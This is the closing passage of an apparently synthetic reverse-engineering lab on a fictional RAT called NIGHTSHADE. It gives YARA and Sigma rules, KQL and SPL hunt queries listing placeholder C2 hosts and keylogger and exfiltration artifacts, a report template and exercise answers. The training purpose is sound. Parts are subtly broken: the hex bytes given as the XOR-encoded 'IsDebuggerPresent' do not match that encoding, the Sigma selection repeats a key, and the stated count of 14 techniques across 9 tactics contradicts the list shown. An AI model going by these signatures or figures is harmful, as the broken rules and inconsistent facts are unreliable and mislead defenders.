        author = "Sentinel Dynamics DFIR (SYNTHETIC)"
        date = "2026-03-18"
        malware_family = "NIGHTSHADE"
        severity = "critical"
        tlp = "WHITE"
        reference = "SYNTHETIC — educational use only"

    strings:
        // Version strings
        $version1 = "NIGHTSHADE v2" ascii wide
        $version2 = "NDS_MTX_" ascii wide

        // C2 URI patterns
        $uri1 = "/api/v2/check" ascii
        $uri2 = "/api/v2/upload" ascii
        $uri3 = "/api/v2/task" ascii

        // File artifacts
        $file1 = "nds_keylog" ascii wide
        $file2 = "nds_screen" ascii wide
        $file3 = "NDS_EXFIL" ascii wide

        // Persistence artifacts
        $persist1 = "AdobeReaderAutoUpdate" ascii wide
        $persist2 = "AdobeUpdate.exe" ascii wide

        // Crypto marker
        $crypto1 = { 5A 5A 5A 5A }  // XOR key pattern

        // PE section name
        $section = ".ndata" ascii

        // Anti-debug strings (XOR encoded, key 0x5A)
        // "IsDebuggerPresent" XOR 0x5A
        $antidbg_xor = { 13 39 24 35 38 3B 33 33 35 38
                         20 38 35 39 35 3E 3A }

    condition:
        uint16(0) == 0x5A4D and     // MZ header
        filesize < 1MB and
        (
            (any of ($version*)) or
            (2 of ($uri*)) or
            (2 of ($file*) and 1 of ($persist*)) or
            ($section and $crypto1 and any of ($uri*))
        )
}

5.5 Sigma Rule

# Sigma Rule: NIGHTSHADE RAT — Process Behavior
# SYNTHETIC — for educational use only

title: NIGHTSHADE RAT Process Indicators
id: a1b2c3d4-e5f6-0718-293a-4b5c6d7e8f90
status: experimental
description: |
    Detects behavioral indicators associated with the NIGHTSHADE RAT
    family, including persistence installation, keylogger artifacts,
    and C2 communication patterns. All indicators are SYNTHETIC.
references:
    - https://nexus-secops.pages.dev/labs/lab19-ghidra-reverse-engineering/
author: Sentinel Dynamics DFIR (SYNTHETIC)
date: 2026/03/18
tags:
    - attack.persistence
    - attack.t1547.001
    - attack.collection
    - attack.t1056.001
    - attack.command_and_control
    - attack.t1071.001

logsource:
    category: process_creation
    product: windows

detection:
    selection_persistence:
        CommandLine|contains:
            - 'AdobeReaderAutoUpdate'
            - 'AdobeReaderUpdate'
        CommandLine|contains:
            - 'schtasks'
            - 'reg add'
    selection_artifacts:
        CommandLine|contains:
            - 'nds_keylog'
            - 'nds_screen'
            - 'NDS_EXFIL'
    selection_binary:
        Image|endswith: '\AdobeUpdate.exe'
        Image|contains: '\AppData\Local\Adobe\'
    condition: 1 of selection_*

falsepositives:
    - Legitimate Adobe update processes (verify digital signature)
level: high

5.6 Structured Analysis Report Template

Malware Analysis Report — NIGHTSHADE RAT v2.1

Classification: CONFIDENTIAL — SYNTHETIC (Educational) Report Date: 2026-03-18 Analyst: SOC Analyst (Lab Exercise) Organization: Sentinel Dynamics (Fictional)


1. Executive Summary

A targeted spear-phishing attack delivered a Remote Access Trojan (RAT) designated NIGHTSHADE v2.1 to a Sentinel Dynamics analyst workstation on 2026-03-18. The malware, disguised as an Adobe Reader update, establishes encrypted C2 communications via HTTPS and provides the attacker with keylogging, screen capture, file exfiltration, command execution, and process injection capabilities. The campaign is attributed to the fictional threat group EMERALD VIPER (campaign ID: EMERALD-2026-Q1-SD).

2. Sample Information

Field Value
Filename AdobeReaderUpdate_v23.1.exe
SHA256 a1b2c3d4e5f60718293a4b5c6d7e8f90a1b2c3d4e5f60718293a4b5c6d7e8f90
File Type PE32 GUI executable
Size 487,424 bytes
Compiler MSVC 14.29 (Visual Studio 2019)
Compile Date 2026-03-14 03:22:17 UTC

3. Key Findings

  • Multi-capability RAT with 12 command types
  • XOR string encryption (key: 0x5A) for IOC obfuscation
  • AES-256 encrypted C2 communications over HTTPS
  • Resilient C2 infrastructure: 2 domains + 3 fallback IPs
  • Dual persistence: Registry Run key + Scheduled Task
  • Anti-debugging: 4 techniques with decoy behavior
  • Kill date: 2026-06-30

4. IOC Summary

See Section 3.6 of this lab for the complete IOC table.

5. MITRE ATT&CK Coverage

14 techniques across 9 tactics (see Section 4.6).

6. Recommendations

  1. Block all identified C2 domains and IPs at network perimeter
  2. Deploy YARA rule (Section 5.4) to endpoint detection platforms
  3. Hunt for mutex Global\NDS_MTX_7F3A9B21 across all endpoints
  4. Search for registry key AdobeReaderAutoUpdate in Run keys
  5. Monitor for nds_keylog.dat and nds_screen_*.bmp in TEMP directories
  6. Review proxy logs for /api/v2/check, /api/v2/upload, /api/v2/task URI patterns
  7. Scan all inbound email for ZIP attachments containing PE files

5.7 Final Detection Queries

KQL — Comprehensive NIGHTSHADE hunt query:

// KQL: Comprehensive NIGHTSHADE RAT hunt
// Combines file, registry, network, and process indicators
let nightshade_hashes = dynamic([
    "a1b2c3d4e5f60718293a4b5c6d7e8f90a1b2c3d4e5f60718293a4b5c6d7e8f90"
]);
let nightshade_domains = dynamic([
    "update.sentinel-c2.example.com",
    "backup.nightshade.example.com"
]);
let nightshade_ips = dynamic([
    "192.0.2.100", "198.51.100.5", "203.0.113.57"
]);
// File-based indicators
let file_hits = DeviceFileEvents
| where SHA256 in (nightshade_hashes)
    or FileName in ("AdobeUpdate.exe", "nds_keylog.dat")
    or FileName startswith "nds_screen_"
    or FileName startswith "NDS_EXFIL_"
| extend IndicatorType = "File", Indicator = FileName;
// Registry-based indicators
let reg_hits = DeviceRegistryEvents
| where RegistryValueName == "AdobeReaderAutoUpdate"
    or RegistryValueData has "AdobeUpdate.exe"
| extend IndicatorType = "Registry", Indicator = RegistryValueName;
// Network-based indicators
let net_hits = DeviceNetworkEvents
| where RemoteUrl has_any (nightshade_domains)
    or RemoteIP in (nightshade_ips)
| extend IndicatorType = "Network", Indicator = coalesce(RemoteUrl, RemoteIP);
// Combine all indicators
union file_hits, reg_hits, net_hits
| project Timestamp, DeviceName, IndicatorType, Indicator,
          InitiatingProcessFileName, ActionType
| sort by Timestamp desc

SPL — Comprehensive NIGHTSHADE hunt:

index=endpoint OR index=proxy OR index=firewall
(
    (sourcetype=sysmon EventCode=11
        (TargetFilename="*AdobeUpdate.exe"
         OR TargetFilename="*nds_keylog*"
         OR TargetFilename="*nds_screen*"
         OR TargetFilename="*NDS_EXFIL*"))
    OR
    (sourcetype=sysmon EventCode=13
        TargetObject="*AdobeReaderAutoUpdate*")
    OR
    (sourcetype=sysmon EventCode=3
        (DestinationHostname="*sentinel-c2.example.com"
         OR DestinationHostname="*nightshade.example.com"
         OR DestinationIp IN ("192.0.2.100", "198.51.100.5", "203.0.113.57")))
    OR
    (sourcetype IN ("squid", "bluecoat")
        (url="*/api/v2/check*" OR url="*/api/v2/upload*" OR url="*/api/v2/task*"))
)
| eval indicator_type=case(
    EventCode=11, "File",
    EventCode=13, "Registry",
    EventCode=3, "Network",
    sourcetype IN ("squid", "bluecoat"), "Proxy",
    true(), "Unknown"
)
| stats count earliest(_time) as first_seen latest(_time) as last_seen
    values(indicator_type) as indicator_types
    by Computer, Image
| convert ctime(first_seen) ctime(last_seen)
| sort -count

Exercise 5 Questions

Q5.1: Why is single-byte XOR encryption considered weak, and why do malware authors still use it?

Answer: Single-byte XOR is cryptographically trivial to break because:

  1. Only 255 possible keys (0x01–0xFF; 0x00 produces no change) — brute force takes milliseconds
  2. Frequency analysis — in encoded English text, the most common byte will likely be the key XORed with space (0x20) or 'e' (0x65)
  3. Known-plaintext attacks — if any expected string is known (e.g., "http://"), the key is immediately recoverable
  4. CyberChef/automated tools — tools like CyberChef, FLOSS, and XORSearch break single-byte XOR instantly

Despite this weakness, malware authors continue using it because:

  1. Defeats basic string scanning — automated scanners checking for plaintext IOCs will miss XOR-encoded strings
  2. Lightweight implementation — requires minimal code (single loop, single XOR operation)
  3. Defense in depth — even weak encryption adds a layer; combined with stack strings and dynamic API resolution, it raises the analysis effort
  4. Good enough — most automated sandboxes focus on dynamic behavior, not static string decryption, so XOR is "good enough" for initial evasion
Q5.2: How would you modify the YARA rule to detect NIGHTSHADE v1.x variants that may use a different XOR key?

Answer: To make the YARA rule version-agnostic:

  1. Remove the hardcoded XOR key pattern — the $crypto1 = { 5A 5A 5A 5A } rule is too specific
  2. Focus on structural indicators — the .ndata section name, PE characteristics, and code patterns are more stable across versions
  3. Use wildcard patterns for version strings:
    $version_generic = /NIGHTSHADE v[0-9]+\.[0-9]+/ ascii wide
    
  4. Add code-based signatures — look for the XOR decryption loop pattern regardless of key:
    $xor_loop = { 8A ?? ?? 32 ?? 88 ?? ?? 4? 75 }  // MOV, XOR, MOV, loop
    
  5. Use pe module for section detection:
    import "pe"
    condition: ... and for any s in pe.sections: (s.name == ".ndata")
    

This approach detects the family based on tooling fingerprints rather than campaign-specific IOCs.

Q5.3: What additional analysis would you perform in a real-world investigation beyond what this lab covers?

Answer: A complete investigation would also include:

  1. Dynamic analysis — execute the sample in a controlled sandbox (e.g., Cuckoo/CAPE, ANY.RUN) to observe actual network traffic, file system changes, and process behavior
  2. Memory forensics — analyze a memory dump from the infected host with Volatility3 to find injected code, decrypted configurations, and runtime artifacts (see Chapter 27)
  3. Network traffic analysis — capture and analyze PCAP of C2 communications to understand the protocol structure, command format, and any additional C2 channels
  4. Infrastructure pivoting — use passive DNS, WHOIS, and certificate transparency logs to map the C2 infrastructure and discover related domains/IPs
  5. Lateral movement investigation — determine if the attacker moved beyond the initial compromised host (see Chapter 38)
  6. Attribution research — compare TTPs, infrastructure, and code similarities against known threat actor profiles
  7. Threat intelligence sharing — produce STIX/TAXII packages for automated IOC sharing with ISACs and trusted partners
  8. Patch/update analysis — check if the initial access vector exploited a known vulnerability and ensure it is patched across the organization

Summary & Key Takeaways

Skills Practiced

Skill Exercise Proficiency Level
PE header analysis Exercise 1 Intermediate
Ghidra navigation & auto-analysis Exercise 1–2 Intermediate
Function identification & renaming Exercise 2 Advanced
Control flow graph analysis Exercise 2 Advanced
String extraction & decoding Exercise 3 Advanced
IOC extraction & cataloging Exercise 3 Advanced
API call tracing Exercise 4 Expert
ATT&CK technique mapping Exercise 4 Advanced
XOR deobfuscation & scripting Exercise 5 Expert
YARA/Sigma rule creation Exercise 5 Expert
Malware analysis reporting Exercise 5 Expert
Detection query development All Advanced

ATT&CK Techniques Covered

This lab covered 14 ATT&CK techniques across 9 tactics:

  • Execution: T1059.003
  • Persistence: T1547.001, T1053.005
  • Privilege Escalation: T1055.001
  • Defense Evasion: T1036.005, T1140, T1497.001, T1070.004
  • Credential Access: T1056.001
  • Discovery: T1082, T1057, T1010
  • Collection: T1113, T1074.001
  • Command and Control: T1071.001, T1573.001, T1008, T1105
  • Exfiltration: T1041

What to Explore Next


Lab Complete

You have completed a full static reverse engineering analysis of the NIGHTSHADE RAT using Ghidra. You analyzed PE headers, identified functions and control flow, extracted IOCs, mapped API calls to ATT&CK techniques, performed XOR deobfuscation, and produced detection rules and a structured analysis report. These skills are directly applicable to real-world malware analysis and threat intelligence roles.